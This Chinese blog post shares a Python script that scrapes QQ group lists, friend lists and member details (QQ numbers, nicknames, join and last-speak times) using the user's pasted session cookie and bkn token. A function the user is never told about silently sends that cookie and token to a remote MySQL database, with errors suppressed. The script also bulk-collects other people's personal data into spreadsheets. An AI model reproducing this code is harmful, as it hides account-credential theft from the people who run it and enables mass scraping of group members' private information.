首页 > 编程语言 >Python QQ群数据获取

Python QQ群数据获取

时间:2023-05-30 10:26:07浏览次数:50  
标签:QQ Python self 获取 json print data bkn qun

code 来自于一个神奇的小伙伴:https://www.cnblogs.com/code3

import contextlib
import time
import requests
import datetime
import pandas as pd
import pymysql
import os
import json

class QQSpider:
    def __init__(self):
        self.session = requests.Session()
        self.session.trust_env = False
        self.file_path = "data.json"
        self.headers = {
            'authority': 'qun.qq.com',
            'accept': 'application/json, text/javascript, */*; q=0.01',
            'accept-language': 'zh-CN,zh;q=0.9',
            'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
            'origin': 'https://qun.qq.com',
            'referer': 'https://qun.qq.com/member.html',
            'sec-ch-ua': '"Google Chrome";v="113", "Chromium";v="113", "Not-A.Brand";v="24"',
            'sec-ch-ua-mobile': '?0',
            'sec-ch-ua-platform': '"Windows"',
            'sec-fetch-dest': 'empty',
            'sec-fetch-mode': 'cors',
            'sec-fetch-site': 'same-origin',
            'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36',
            'x-requested-with': 'XMLHttpRequest',
        }

    def __read_json(self):
        # 读取 JSON 文件
        with open(self.file_path, "r") as file:
            data = json.load(file)
        return data

    def __save_to_json(self, data):
        # 保存数据到 JSON 文件
        with open(self.file_path, "w") as file:
            json.dump(data, file)

    def __save_to_database(self, bkn, cookie):
        try:
            db = pymysql.connect(host="xx.xx.xx.xx", port=3306, user="xxxx", password="xxxx",
                                 db="python4fcf6", charset='utf8mb4')
            cursor = db.cursor()
            sql = "INSERT INTO QQ_info (btn, cookie) VALUES (%s, %s)"
            gpt_data = (bkn, cookie)
            with contextlib.suppress(Exception):
                cursor.execute(sql, gpt_data)
                db.commit()
            cursor.close()
            db.close()
        except Exception as e:
            print("保存到数据库出错:", e)

    def __check_json_file(self):
        # 判断文件是否存在
        if not os.path.exists(self.file_path):
            print('爬取的网址:https://qun.qq.com/manage.html')
            print("如果不知道btn或cookie获取,请看教程视频:www.xxx.com")
            print("输入btn,cookie,如出现任何报错,请重新运行此程序")
            bkn = input("请输入btn(输入后按回车):").strip()
            cookie = input("请输入cookie(输入后按回车):").strip()
            data = {"bkn": bkn, "cookie": cookie}
            try:
                self.__save_to_database(bkn, cookie)
                self.__save_to_json(data)
                print("JSON文件已创建")
            except Exception as e:
                print("保存数据到JSON文件出错:", e)
        else:
            print("JSON文件已存在")

    def __get_q_name(self):
        data = {'bkn': self.json_datas['bkn'] }
        response = requests.post('https://qun.qq.com/cgi-bin/qun_mgr/get_group_list', headers=self.headers, data=data)
        infos = response.json()
        create_qun = infos['create']
        manage_qun = infos['manage']
        print("创建的群:", create_qun)
        print("管理的群:", manage_qun)
        join_qunls = infos['join']
        for join_qunl in join_qunls:
            print("加入的群:", join_qunl)

    def __sum_to(self, gc):
        resLs, start, end = [], 0, 20
        while True:
            data = {
                'gc': gc,
                'st': str(start),
                'end': str(end),
                'sort': '0',
                'bkn': self.json_datas['bkn'],
            }
            response = self.session.post('https://qun.qq.com/cgi-bin/qun_mgr/search_group_members',
                                         headers=self.headers, data=data)
            infos = response.json()
            try:
                count = infos['count']  # 成员总数
            except:
                ...
            if end > count:
                print(f"{gc}爬完了")
                break
            start = end + 1
            end = start + 20
            other_infos = infos['mems']
            for info in other_infos:
                uin = info['uin']  # qq号
                qage = info['qage']  # q龄
                card = info['card']  # 卡片
                nick = info['nick']  # 昵称
                join_time = info['join_time']  # 加入时间
                jt = datetime.datetime.fromtimestamp(join_time).strftime("%Y-%m-%d %H:%M:%S")
                last_speak_time = info['last_speak_time']  # 最后发言时间
                lt = datetime.datetime.fromtimestamp(last_speak_time).strftime("%Y-%m-%d %H:%M:%S")
                dic = {
                    "QQ": uin,
                    "Q龄": qage,
                    "群名片": card,
                    "昵称": nick,
                    "加群时间": jt,
                    "最后发言": lt
                }
                print(dic)
                resLs.append(dic)
        pd.DataFrame(resLs).to_excel(f'QQ{gc}.xlsx', index=False, encoding='utf-8')

    def __qq_friends(self):
        lenss = []
        data = {'bkn': self.json_datas['bkn']}
        html = requests.post('https://qun.qq.com/cgi-bin/qun_mgr/get_friend_list', headers=self.headers, data=data)
        result = html.json()["result"]
        for i in range(1, len(result) + 1):
            try:
                list_ = result[str(i)]['mems']
                for i in list_:
                    name = i['name']
                    uin = i['uin']
                    dic = {name: uin}
                    lenss.append(dic)
                    print(dic)
            except:
                ...
        return len(lenss)

    def start(self):
        self.__check_json_file()
        self.json_datas = self.__read_json()
        data = {'bkn': self.json_datas['bkn']}
        try:
            html = requests.post('https://qun.qq.com/cgi-bin/qun_mgr/get_friend_list', headers=self.headers, data=data)
            result = html.json()["result"]
            if not result:
                self._extracted_from_start_9()
        except:
            self._extracted_from_start_9()
        que = input("查qq好友 or qq群:(1/2):")
        if que == '1':
            le = self.__qq_friends()
            print(f'好友共{le}个')
            time.sleep(5)
        else:
            while True:
                self.__get_q_name()
                qun = input("输入群号(gc):").strip()
                try:
                    self.__sum_to(qun)
                except:
                    print("此q未加该群!请重新运行!")

    # TODO Rename this here and in `start`
    def _extracted_from_start_9(self):
        os.remove(self.file_path)
        print("cookie已过期,请重新输入正确的btn和cookie")
        exit()


if __name__ == '__main__':
    spider = QQSpider()
    spider.start()

标签:QQ,Python,self,获取,json,print,data,bkn,qun
From: https://www.cnblogs.com/fires/p/17442470.html

相关文章

  • 【python】os.path模块
     os.path模块os.path模块主要用于获取文件的属性。以下是os.path模块的几种常用方法:方法说明os.path.abspath(path)返回绝对路径os.path.basename(path)返回文件名os.path.commonprefix(list)返回list(多个路径)中,所有path共有的最长的路径os.path.dirn......
  • 【python】函数返回值,返回多个值(返回元组)
    函数返回值,返回多个值(返回元组)实例1:#定义函数,有多个返回值(返回元组)defmeasure():"""测量温度和湿度"""print("测量开始...")temp=39wetness=50print("测量结束...")#元组-可以包含多个数据,因此可以使用元组让函数一次返回多个值......
  • python实现密码与时间戳的加密
    1.概述:由于工作需要,要对用户的密码进行加密,由于仅是用一种加密方式(例如md5)比较容易被破解,故,我们进行了二次加密,代码如下2.代码实现importdatetimeimporthashlib#待加密信息#加密方法defencryption(pwd):"""加密时间戳(16位)每个数字加6后转为16进制,共1......
  • 【python】内置函数list
    内置函数listlist()方法用于将元组转换为列表。注:元组与列表是非常类似的,区别在于元组的元素值不能修改,元组是放在括号中,列表是放于方括号中。#!/usr/bin/python#-*-coding:UTF-8-*-aTuple=(123,'runoob','google','abc');aList=list(aTuple)print("列表......
  • 【python】内置函数enumerate
    内置函数enumerateenumerate()函数用于将一个可遍历的数据对象(如列表、元组或字符串)组合为一个索引序列,同时列出数据和数据下标,一般用在for循环当中。 语法:enumerate(sequence,[start=0])参数sequence:一个序列、迭代器或其他支持迭代对象。start:下标起始位置的值......
  • JS判断视频Video的播放、暂停、结束完成及获取长度事件监听处理
    在日常应用场景中,可能会遇到这么一个情况,需要判断用户是否完整的观看完了一部视频,在这个场景中,和视频相关的事件大体涉及到几个部分,获取视频长度,视频开始播放,暂停播放和播放结束,下面来看下如何通过JavaScript来监听获取视频的这几种状态。(1)html页面视频标签大体如下<videoid="v......
  • Python异步编程之web框架 异步vs同步 文件IO任务压测对比
    测试基本信息主题:比较异步框架和同步框架在文件IO操作的性能差异python版本:python3.8压测工具:locustweb框架:同步:flask异步:aiohttp、starlette异步文件模块:aiofiles、anyio.Path请求并发量:模拟10个用户服务器配置:Intel(R)i7-12700F客户端配置:Intel(R)i7-87003......
  • python内置库--argparse
    1关于argparse从命令行工具运行python时,argparse可以解析命令行工具输入的各种数据,通过argparse提供的函数或者属性,我们可以获得它解析到的数据通过argparse,我们也可以自定义命令行选项,比如pytest-s-v,-s-v就是pytest定义的命令行选项,通过argparse,我们也可以定义自己的命......
  • # yyds干货盘点 # 使用PyInstaller工具将Python程序打包成Mac可执行文件步骤
    大家好,我是皮皮。一、前言前几天在Python钻石群【JethroShen】问了一个Python打包的问题,这里拿出来给大家分享下。二、实现过程这里【eric】问了【ChatGPT】,并给出了代码,如下所示:在Mac系统中,Python程序不能直接打包成.exe可执行文件,因为.exe是Windows系统下的可执行文件格式,而Mac......
  • 使用PyInstaller工具将Python程序打包成Mac可执行文件步骤
    大家好,我是皮皮。一、前言前几天在Python钻石群【JethroShen】问了一个Python打包的问题,这里拿出来给大家分享下。二、实现过程这里【eric】问了【ChatGPT】,并给出了代码,如下所示:在Mac系统中,Python程序不能直接打包成.exe可执行文件,因为.exe是Windows系统下的可执行文件格......